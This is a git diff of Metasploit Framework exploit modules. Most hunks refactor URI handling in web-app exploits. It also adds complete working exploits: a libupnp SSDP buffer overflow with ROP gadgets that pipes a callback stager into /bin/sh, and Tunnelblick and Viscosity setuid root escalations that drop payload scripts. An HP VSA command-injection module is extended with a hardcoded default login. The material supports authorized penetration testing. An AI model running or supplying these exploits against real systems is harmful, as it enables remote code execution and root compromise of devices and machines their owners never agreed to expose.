-58,8 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" + uri = normalize_uri(datastore['URI'], "admincp", "login.php") res = send_request_raw( { @@ -75,8 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit p = Rex::Text.encode_base64(payload.encoded) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" + uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook" res = send_request_cgi( { @@ -92,8 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote } }, 25) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "index.php" : "/index.php" + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_cgi( { diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 5735349a01..3745fe16e3 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -55,9 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => "POST", @@ -82,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f4ba74ac42..e93870a0bf 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res1 = send_request_raw({'uri'=>"#{base}/index.php"}) - res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"}) + res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")}) + res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")}) if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and res2 and res2.code == 200 @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/work/resultimage.php", + 'uri' => normalize_uri("#{base}/work/resultimage.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - @target_path = "#{base}/results/#{fname}" + @target_path = normalize_uri("#{base}/results/#{fname}") print_status("#{peer} - Requesting #{@target_path}") res = send_request_cgi({'uri'=>@target_path}) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index f2c8d8de11..000336b98b 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_cookie res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php" + 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login - uri = "#{@base}wikka.php?wakka=UserSettings" + uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) @@ -189,11 +189,11 @@ class Metasploit3 < Msf::Exploit::Remote # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" - uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}spamlog.txt.php" + 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index d9a7bbab08..b9aae48bdf 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", 'Description' => %q{ This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on - versions prior to 9.5. By using a default account credential, it is possible + versions prior to 9.5. By using a default account credential, it is possible to inject arbitrary commands as part of a ping request via port 13838. }, 'License' => MSF_LICENSE, @@ -50,9 +50,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Targets' => [ - ['HP VSA prior to 9.5', {}] + [ 'Automatic', {} ], + [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ], + [ 'HP VSA 9', { 'Version' => '9.0.0' } ] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => "Nov 11 2011", 'DefaultTarget' => 0)) @@ -75,20 +77,53 @@ class Metasploit3 < Msf::Exploit::Remote pkt end + def get_target + if target.name !~ /Automatic/ + return target + end + + # Login at 8.5.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res=~ /Login/ + return targets[1] + end + + # Login at 9.0.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res =~ /Login/ + return targets[2] + end + + fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + end def exploit connect - # Login packet - print_status("#{rhost}:#{rport} Sending login packet") - packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") - sock.put(packet) - res = sock.get_once - vprint_status(Rex::Text.to_hex_dump(res)) if res + if target.name =~ /Automatic/ + my_target = get_target + print_good("#{rhost}:#{rport} - Target #{my_target.name} found") + else + my_target = target + print_status("#{rhost}:#{rport} Sending login packet") + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + end # Command execution print_status("#{rhost}:#{rport} Sending injection") data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/" + data << "64/5/" if my_target.name =~ /9/ packet = generate_packet(data) sock.put(packet) res = sock.get_once diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index fb3f1693f9..90ebfa34a7 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'evilcry', # pbot analysis' 'Jay Turla', # pbot analysis - '@bwallHatesTwits', # PoC + 'bwall', # aka @bwallHatesTwits, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb new file mode 100644 index 0000000000..ac7286c9b0 --- /dev/null +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -0,0 +1,349 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the unique_service_name() + function of libupnp's SSDP processor. The libupnp library is used across + thousands of devices and is referred to as the Intel SDK for UPnP + Devices or the Portable SDK for UPnP Devices. + + Due to size limitations on many devices, this exploit uses a separate TCP + listener to stage the real payload. + }, + 'Author' => [ + 'hdm', # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI + 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-5958' ], + [ 'US-CERT-VU', '922681' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { +# +# # The following BadChars do not apply since we stage the payload +# # through a secondary connection. This is just for reference. +# +# 'BadChars' => +# # Bytes 0-8 are not allowed +# [*(0..8)].pack("C*") + +# # 0x09, 0x0a, 0x0d are allowed +# "\x0b\x0c\x0e\x0f" + +# # All remaining bytes up to space are restricted +# [*(0x10..0x1f)].pack("C*") + +# # Also not allowed +# "\x7f\x3a" + +# # Breaks our string quoting +# "\x22", + + # Unlimited since we stage this over a secondary connection + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + # specific payloads vary widely by device (openssl for IPMI, etc) + } + }, + 'Targets' => + [ + + [ "Automatic", { } ], + + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { + + # The callback handles all target-specific settings + :callback => :target_supermicro_ipmi_131, + + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi + + # + # SSDP response: + # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.xx.xx:49152/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + + # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + + } ] + + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) + ], self.class) + end + + + def exploit + + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) + print_error("Invalid target specified: no callback function defined") + return + end + + buffer = self.send(target_info[:callback]) + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) + + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + + # No handler() support right now + end + + + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_supermicro_ipmi_131 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[0,1] = '"' + buffer[1999,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Restart the service and use openssl to stage the real payload + # Staged because only ~150 bytes of contiguous data are available before mangling + cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" + buffer[432, cmd.length] = cmd + + # Adjust $r3 to point from the bottom of the stack back into our buffer + buffer[304,4] = [0x4009daf8].pack("V") # + # 0x4009daf8: add r3, r3, r4, lsl #2 + # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 + # 0x4009db00: pop {r4, r10, pc} + + # The offset (right-shifted by 2 ) to our command string above + buffer[284,4] = [0xfffffe78].pack("V") # + + # Copy $r3 into $r0 + buffer[316,4] = [0x400db0ac].pack("V") + # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 + # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) + + # Move our stack pointer down so as not to corrupt our payload + buffer[320,4] = [0x400a5568].pack("V") + # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 + # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} + + # Finally return to system() with $r0 pointing to our string + buffer[141,4] = [0x400add8c].pack("V") + + return buffer +=begin + 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev + 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev + 00032000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so + 40015000-40017000 rwxp 00000000 00:00 0 + 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so + 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so + 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so + 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so + 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40036000-40078000 rwxp 00000000 00:00 0 + 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so + 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so + 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so + 40185000-40187000 rwxp 00000000 00:00 0 + bd600000-bd601000 ---p 00000000 00:00 0 + bd601000-bd800000 rwxp 00000000 00:00 0 + bd800000-bd801000 ---p 00000000 00:00 0 + bd801000-bda00000 rwxp 00000000 00:00 0 + bdc00000-bdc01000 ---p 00000000 00:00 0 + bdc01000-bde00000 rwxp 00000000 00:00 0 + be000000-be001000 ---p 00000000 00:00 0 + be001000-be200000 rwxp 00000000 00:00 0 + be941000-be956000 rwxp 00000000 00:00 0 [stack] +=end + + end + + # Generate a buffer that provides a starting point for exploit development + def target_debug + buffer = Rex::Text.pattern_create(2000) + end + + def stage_real_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + stage_real_payload(client) + } + + # Start the listening service + self.service.start + end + + # + # Shut down any running services + # + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager + attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb new file mode 100644 index 0000000000..691e167901 --- /dev/null +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -0,0 +1,120 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/exploit/exe' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Setuid Tunnelblick Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The + vulnerability exists in the setuid openvpnstart, where an insufficient + validation of path names allows execution of arbitrary shell scripts as root. + This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099 + over Mac OS X 10.7.5. + }, + 'References' => + [ + [ 'CVE', '2012-3485' ], + [ 'EDB', '20443' ], + [ 'URL', 'http://blog.zx2c4.com/791' ] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit + 'juan vazquez' # Metasploit module + ], + 'DisclosureDate' => 'Aug 11 2012', + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => + [ + [ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], + [ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultTarget' => 0 + })) + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ]) + ], self.class) + end + + def check + if not file?(datastore["Tunnelblick"]) + print_error "openvpnstart not found" + return CheckCode::Safe + end + + check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000") + + if check =~ /openvpnstart/ + return CheckCode::Vulnerable + end + + return CheckCode::Safe + end + + def clean + file_rm(@link) + cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn") + end + + def exploit + + print_status("Creating directory...") + cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0" + + exe_name = rand_text_alpha(8) + @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}" + print_status("Dropping executable #{@exe_file}") + write_file(@exe_file, generate_payload_exe) + cmd_exec "chmod +x #{@exe_file}" + + + evil_sh =<<-EOF +#!/bin/sh +#{@exe_file} + EOF + + @sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn" + print_status("Dropping shell script #{@sh_file}...") + write_file(@sh_file, evil_sh) + cmd_exec "chmod +x #{@sh_file}" + + link_name = rand_text_alpha(8) + @link = "#{datastore["WritableDir"]}/#{link_name}" + print_status("Creating symlink #{@link}...") + cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}" + + print_status("Running...") + begin + cmd_exec "#{@link} OpenVPNInfo 0" + rescue + print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory") + clean + return + end + print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory") + end +end + diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb new file mode 100644 index 0000000000..c70127857e --- /dev/null +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/exploit/exe' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The + vulnerability exists in the setuid ViscosityHelper, where an insufficient + validation of path names allows execution of arbitrary python code as root. + This module has been tested successfully on Viscosity 1.4.1 over Mac OS X + 10.7.5. + }, + 'References' => + [ + [ 'CVE', '2012-4284' ], + [ 'OSVDB', '84709' ], + [ 'EDB', '20485' ], + [ 'URL', 'http://blog.zx2c4.com/791' ] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit + 'juan vazquez' # Metasploit module + ], + 'DisclosureDate' => 'Aug 12 2012', + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => + [ + [ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], + [ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultTarget' => 0 + })) + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) + ], self.class) + end + + def check + if not file?(datastore["Viscosity"]) + print_error "ViscosityHelper not found" + return CheckCode::Safe + end + + check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000") + + if check =~ /ViscosityHelper/ + return CheckCode::Vulnerable + end + + return CheckCode::Safe + end + + def clean + file_rm(@link) + file_rm(@python_file) + file_rm("#{@python_file}c") + file_rm(@exe_file) + end + + def exploit + + exe_name = rand_text_alpha(8) + @exe_file = "#{datastore["WritableDir"]}/#{exe_name}" + print_status("Dropping executable #{@exe_file}") + write_file(@exe_file, generate_payload_exe) + + evil_python =<<-EOF +import os +os.setuid(0) +os.setgid(0) +os.system("chown root #{@exe_file}") +os.system("chmod 6777 #{@exe_file}") +os.execl("#{@exe_file}", "#{exe_name}") + EOF + + @python_file = "#{datastore["WritableDir"]}/site.py" + print_status("Dropping python #{@python_file}...") + write_file(@python_file, evil_python) + + print_status("Creating symlink...") + link_name = rand_text_alpha(8) + @link = "#{datastore["WritableDir"]}/#{link_name}" + cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}" + + print_status("Running...") + begin + cmd_exec "#{@link}" + rescue + print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...") + clean + return + end + print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}") + end +end + diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 3fde5b946a..c8a99cdb92 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -61,12 +61,11 @@ class Metasploit3 < Msf::Exploit::Remote def check base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' sig = rand_text_alpha(10) res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => sig, 'new' => '1', @@ -86,10 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending GET request...") base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => "&#{payload.encoded} #", 'new' => '1', diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 772eeb722c..170db130fc 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/picEditor.php' + 'uri' => normalize_uri(datastore['URI'], '/picEditor.php') }, 25) if (res and res.body =~ /Coppermine Picture Editor/i) @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(datastore['URI']) + "/picEditor.php", + 'uri' => normalize_uri(datastore['URI'], "/picEditor.php"), 'vars_post' => { 'angle' => angle, diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index 6a120a8a31..7497dd6f9b 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -18,8 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() - with the e modifier, which allows to inject arbitrary php code, when the template - in use contains a [catlist] or [not-catlist] tag. + with the e modifier, which allows to inject arbitrary php code, when there is a + template installed which contains a [catlist] or [not-catlist] tag, even when the + template isn't in use currently. The template can be configured with the TEMPLATE + datastore option. }, 'Author' => [ @@ -49,27 +51,33 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), + OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"]) ], self.class) end - def base - base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' - return base + def uri + normalize_uri(target_uri.path, 'engine', 'preview.php') + end + + def send_injection(inj) + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => + { + 'catlist[0]' => inj + }, + 'cookie' => "dle_skin=#{datastore['TEMPLATE']}" + }) + res end def check fingerprint = rand_text_alpha(4+rand(4)) - res = send_request_cgi( - { - 'uri' => "#{base}engine/preview.php", - 'method' => 'POST', - 'vars_post' => - { - 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//" - } - }) + + res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//") if res and res.code == 200 and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable @@ -82,14 +90,6 @@ class Metasploit3 < Msf::Exploit::Remote @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") - res = send_request_cgi( - { - 'uri' => "#{base}engine/preview.php", - 'method' => 'POST', - 'vars_post' => - { - 'catlist[0]' => 